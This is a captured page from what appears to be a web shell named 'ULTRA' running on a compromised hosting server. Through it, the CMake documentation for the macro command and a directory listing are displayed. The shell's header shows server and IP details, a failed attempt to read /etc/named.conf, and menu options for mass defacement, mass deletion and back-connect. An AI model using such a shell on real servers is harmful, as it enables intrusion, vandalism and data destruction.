ULTRA [ vsambulanceservice.com ]

Linux vps122157.inmotionhosting.com 4.18.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64

Apache/2.4.62 (Unix) OpenSSL/1.1.1k

199.250.210.201 | Your IP: 216.73.216.228

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ usr / share / cmake / Help / command /

Home Upload Mass Deface Mass Delete Back Connect Notify

macro.rst

macro
-----

Start recording a macro for later invocation as a command

.. code-block:: cmake

macro(<name> [<arg1> ...])
    <commands>
  endmacro()

Defines a macro named ``<name>`` that takes arguments named
``<arg1>``, ... Commands listed after macro, but before the
matching :command:`endmacro()`, are not executed until the macro
is invoked.

Per legacy, the :command:`endmacro` command admits an optional
``<name>`` argument. If used, it must be a verbatim repeat of the
argument of the opening ``macro`` command.

See the :command:`cmake_policy()` command documentation for the behavior
of policies inside macros.

See the :ref:`Macro vs Function` section below for differences
between CMake macros and :command:`functions <function>`.

Invocation
^^^^^^^^^^

The macro invocation is case-insensitive. A macro defined as

.. code-block:: cmake

macro(foo)
    <commands>
  endmacro()

can be invoked through any of

.. code-block:: cmake

foo()
  Foo()
  FOO()
  cmake_language(CALL foo)

and so on. However, it is strongly recommended to stay with the
case chosen in the macro definition.  Typically macros use
all-lowercase names.

.. versionadded:: 3.18
  The :command:`cmake_language(CALL ...)` command can also be used to
  invoke the macro.

Arguments
^^^^^^^^^

When a macro is invoked, the commands recorded in the macro are
first modified by replacing formal parameters (``${arg1}``, ...)
with the arguments passed, and then invoked as normal commands.

In addition to referencing the formal parameters you can reference the
values ``${ARGC}`` which will be set to the number of arguments passed
into the function as well as ``${ARGV0}``, ``${ARGV1}``, ``${ARGV2}``,
...  which will have the actual values of the arguments passed in.
This facilitates creating macros with optional arguments.

Furthermore, ``${ARGV}`` holds the list of all arguments given to the
macro and ``${ARGN}`` holds the list of arguments past the last expected
argument.
Referencing to ``${ARGV#}`` arguments beyond ``${ARGC}`` have undefined
behavior. Checking that ``${ARGC}`` is greater than ``#`` is the only
way to ensure that ``${ARGV#}`` was passed to the function as an extra
argument.

.. _`Macro vs Function`:

Macro vs Function
^^^^^^^^^^^^^^^^^

The ``macro`` command is very similar to the :command:`function` command.
Nonetheless, there are a few important differences.

In a function, ``ARGN``, ``ARGC``, ``ARGV`` and ``ARGV0``, ``ARGV1``, ...
are true variables in the usual CMake sense.  In a macro, they are not,
they are string replacements much like the C preprocessor would do
with a macro.  This has a number of consequences, as explained in
the :ref:`Argument Caveats` section below.

Another difference between macros and functions is the control flow.
A function is executed by transferring control from the calling
statement to the function body.  A macro is executed as if the macro
body were pasted in place of the calling statement.  This has the
consequence that a :command:`return()` in a macro body does not
just terminate execution of the macro; rather, control is returned
from the scope of the macro call.  To avoid confusion, it is recommended
to avoid :command:`return()` in macros altogether.

Unlike a function, the :variable:`CMAKE_CURRENT_FUNCTION`,
:variable:`CMAKE_CURRENT_FUNCTION_LIST_DIR`,
:variable:`CMAKE_CURRENT_FUNCTION_LIST_FILE`,
:variable:`CMAKE_CURRENT_FUNCTION_LIST_LINE` variables are not
set for a macro.

.. _`Argument Caveats`:

Argument Caveats
^^^^^^^^^^^^^^^^

Since ``ARGN``, ``ARGC``, ``ARGV``, ``ARGV0`` etc. are not variables,
you will NOT be able to use commands like

.. code-block:: cmake

if(ARGV1) # ARGV1 is not a variable
 if(DEFINED ARGV2) # ARGV2 is not a variable
 if(ARGC GREATER 2) # ARGC is not a variable
 foreach(loop_var IN LISTS ARGN) # ARGN is not a variable

In the first case, you can use ``if(${ARGV1})``.  In the second and
third case, the proper way to check if an optional variable was
passed to the macro is to use ``if(${ARGC} GREATER 2)``.  In the
last case, you can use ``foreach(loop_var ${ARGN})`` but this will
skip empty arguments.  If you need to include them, you can use

.. code-block:: cmake

set(list_var "${ARGN}")
 foreach(loop_var IN LISTS list_var)

Note that if you have a variable with the same name in the scope from
which the macro is called, using unreferenced names will use the
existing variable instead of the arguments. For example:

.. code-block:: cmake

macro(bar)
   foreach(arg IN LISTS ARGN)
     <commands>
   endforeach()
 endmacro()

function(foo)
   bar(x y z)
 endfunction()

foo(a b c)

Will loop over ``a;b;c`` and not over ``x;y;z`` as one might have expected.
If you want true CMake variables and/or better CMake scope control you
should look at the function command.

See Also
^^^^^^^^

* :command:`cmake_parse_arguments`
* :command:`endmacro`

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2025-03-06 10:54:41
..	dir	-	root/root	drwxr-xr-x	2025-03-06 10:54:41
DEVICE_LINK_OPTIONS.txt	text/plain	651 B	root/root	-rw-r--r--	2023-07-19 05:56:04
FIND_XXX.txt	text/plain	8.56 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
FIND_XXX_ORDER.txt	text/plain	446 B	root/root	-rw-r--r--	2023-07-19 05:56:04
FIND_XXX_REGISTRY_VIEW.txt	text/plain	1.31 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
FIND_XXX_ROOT.txt	text/plain	1.41 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
GENEX_NOTE.txt	text/plain	310 B	root/root	-rw-r--r--	2023-07-19 05:56:04
LINK_OPTIONS_LINKER.txt	text/plain	1.07 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
OPTIONS_SHELL.txt	text/plain	772 B	root/root	-rw-r--r--	2023-07-19 05:56:04
SUPPORTED_LANGUAGES.txt	text/plain	753 B	root/root	-rw-r--r--	2023-07-19 05:56:04
add_compile_definitions.rst	text/plain	1.04 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_compile_options.rst	text/plain	1.31 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_custom_command.rst	text/plain	20.78 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_custom_target.rst	text/plain	7.4 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_definitions.rst	text/plain	1.38 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_dependencies.rst	text/plain	1 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_executable.rst	text/plain	4.3 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_library.rst	text/plain	11.08 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_link_options.rst	text/plain	1.08 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_subdirectory.rst	text/plain	2.06 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
add_test.rst	text/plain	3.25 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
aux_source_directory.rst	text/plain	1.06 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
block.rst	text/plain	1.81 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
break.rst	text/plain	208 B	root/root	-rw-r--r--	2023-07-19 05:56:04
build_command.rst	text/plain	1.86 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
build_name.rst	text/plain	430 B	root/root	-rw-r--r--	2023-07-19 05:56:04
cmake_host_system_information.rst	text/plain	11.36 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
cmake_language.rst	text/plain	18.83 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
cmake_minimum_required.rst	text/plain	3.19 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
cmake_parse_arguments.rst	text/plain	4.82 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
cmake_path.rst	text/plain	25.13 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
cmake_policy.rst	text/plain	5.56 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
configure_file.rst	text/html	5.26 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
continue.rst	text/plain	362 B	root/root	-rw-r--r--	2023-07-19 05:56:04
create_test_sourcelist.rst	text/plain	1.52 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_build.rst	text/plain	3.23 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_configure.rst	text/plain	1.66 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_coverage.rst	text/plain	1.62 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_empty_binary_directory.rst	text/plain	323 B	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_memcheck.rst	text/plain	1.49 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_read_custom_files.rst	text/plain	332 B	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_run_script.rst	text/plain	577 B	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_sleep.rst	text/plain	265 B	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_start.rst	text/plain	3.12 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_submit.rst	text/plain	4.01 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_test.rst	text/plain	10.23 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_update.rst	text/plain	1.34 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
ctest_upload.rst	text/plain	678 B	root/root	-rw-r--r--	2023-07-19 05:56:04
define_property.rst	text/plain	3.3 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
else.rst	text/plain	129 B	root/root	-rw-r--r--	2023-07-19 05:56:04
elseif.rst	text/plain	194 B	root/root	-rw-r--r--	2023-07-19 05:56:04
enable_language.rst	text/plain	894 B	root/root	-rw-r--r--	2023-07-19 05:56:04
enable_testing.rst	text/plain	474 B	root/root	-rw-r--r--	2023-07-19 05:56:04
endblock.rst	text/plain	190 B	root/root	-rw-r--r--	2023-07-19 05:56:04
endforeach.rst	text/plain	342 B	root/root	-rw-r--r--	2023-07-19 05:56:04
endfunction.rst	text/plain	337 B	root/root	-rw-r--r--	2023-07-19 05:56:04
endif.rst	text/plain	300 B	root/root	-rw-r--r--	2023-07-19 05:56:04
endmacro.rst	text/plain	319 B	root/root	-rw-r--r--	2023-07-19 05:56:04
endwhile.rst	text/plain	317 B	root/root	-rw-r--r--	2023-07-19 05:56:04
exec_program.rst	text/plain	958 B	root/root	-rw-r--r--	2023-07-19 05:56:04
execute_process.rst	text/plain	6.04 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
export.rst	text/plain	5.6 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
export_library_dependencies.rst	text/plain	1.13 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
file.rst	text/plain	45.8 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
find_file.rst	text/plain	1.55 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
find_library.rst	text/plain	3.85 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
find_package.rst	text/plain	32.47 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
find_path.rst	text/plain	1.84 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
find_program.rst	text/plain	1.44 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
fltk_wrap_ui.rst	text/plain	380 B	root/root	-rw-r--r--	2023-07-19 05:56:04
foreach.rst	text/plain	3.57 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
function.rst	text/plain	2.32 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
get_cmake_property.rst	text/plain	766 B	root/root	-rw-r--r--	2023-07-19 05:56:04
get_directory_property.rst	text/plain	1.28 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
get_filename_component.rst	text/plain	2.54 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
get_property.rst	text/plain	3.46 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
get_source_file_property.rst	text/plain	1.96 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
get_target_property.rst	text/plain	1.15 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
get_test_property.rst	text/plain	831 B	root/root	-rw-r--r--	2023-07-19 05:56:04
if.rst	text/plain	14.6 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
include.rst	text/plain	1.06 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
include_directories.rst	text/plain	1.57 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
include_external_msproject.rst	text/plain	1.09 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
include_guard.rst	text/plain	1.8 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
include_regular_expression.rst	text/plain	571 B	root/root	-rw-r--r--	2023-07-19 05:56:04
install.rst	text/plain	43.13 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
install_files.rst	text/plain	1.39 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
install_programs.rst	text/plain	1.26 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
install_targets.rst	text/plain	664 B	root/root	-rw-r--r--	2023-07-19 05:56:04
link_directories.rst	text/plain	2.53 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
link_libraries.rst	text/plain	669 B	root/root	-rw-r--r--	2023-07-19 05:56:04
list.rst	text/plain	10.1 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
load_cache.rst	text/plain	1001 B	root/root	-rw-r--r--	2023-07-19 05:56:04
load_command.rst	text/plain	686 B	root/root	-rw-r--r--	2023-07-19 05:56:04
macro.rst	text/plain	4.77 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
make_directory.rst	text/plain	306 B	root/root	-rw-r--r--	2023-07-19 05:56:04
mark_as_advanced.rst	text/plain	867 B	root/root	-rw-r--r--	2023-07-19 05:56:04
math.rst	text/plain	1.19 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
message.rst	text/plain	8.12 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
option.rst	text/plain	615 B	root/root	-rw-r--r--	2023-07-19 05:56:04
output_required_files.rst	text/plain	680 B	root/root	-rw-r--r--	2023-07-19 05:56:04
project.rst	text/plain	6.34 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
qt_wrap_cpp.rst	text/plain	829 B	root/root	-rw-r--r--	2023-07-19 05:56:04
qt_wrap_ui.rst	text/plain	981 B	root/root	-rw-r--r--	2023-07-19 05:56:04
remove.rst	text/plain	306 B	root/root	-rw-r--r--	2023-07-19 05:56:04
remove_definitions.rst	text/plain	293 B	root/root	-rw-r--r--	2023-07-19 05:56:04
return.rst	text/plain	3.21 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
separate_arguments.rst	text/plain	2.53 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
set.rst	text/plain	4.39 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
set_directory_properties.rst	text/plain	630 B	root/root	-rw-r--r--	2023-07-19 05:56:04
set_property.rst	text/plain	4.38 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
set_source_files_properties.rst	text/plain	1.68 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
set_target_properties.rst	text/plain	758 B	root/root	-rw-r--r--	2023-07-19 05:56:04
set_tests_properties.rst	text/plain	624 B	root/root	-rw-r--r--	2023-07-19 05:56:04
site_name.rst	text/plain	304 B	root/root	-rw-r--r--	2023-07-19 05:56:04
source_group.rst	text/plain	2.18 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
string.rst	text/plain	18.51 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
subdir_depends.rst	text/plain	306 B	root/root	-rw-r--r--	2023-07-19 05:56:04
subdirs.rst	text/plain	1.05 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
target_compile_definitions.rst	text/plain	2.15 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
target_compile_features.rst	text/plain	1.82 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
target_compile_options.rst	text/plain	2.13 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
target_include_directories.rst	text/plain	3.57 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
target_link_directories.rst	text/plain	2.77 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
target_link_libraries.rst	text/plain	16.66 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
target_link_options.rst	text/plain	2.14 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
target_precompile_headers.rst	text/plain	5.6 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
target_sources.rst	text/plain	7.99 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
try_compile.rst	text/plain	13.25 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
try_run.rst	text/plain	5.71 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
unset.rst	text/plain	1.54 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
use_mangled_mesa.rst	text/plain	475 B	root/root	-rw-r--r--	2023-07-19 05:56:04
utility_source.rst	text/plain	977 B	root/root	-rw-r--r--	2023-07-19 05:56:04
variable_requires.rst	text/plain	784 B	root/root	-rw-r--r--	2023-07-19 05:56:04
variable_watch.rst	text/plain	1.76 KB	root/root	-rw-r--r--	2023-07-19 05:56:04
while.rst	text/plain	891 B	root/root	-rw-r--r--	2023-07-19 05:56:04
write_file.rst	text/plain	705 B	root/root	-rw-r--r--	2023-07-19 05:56:04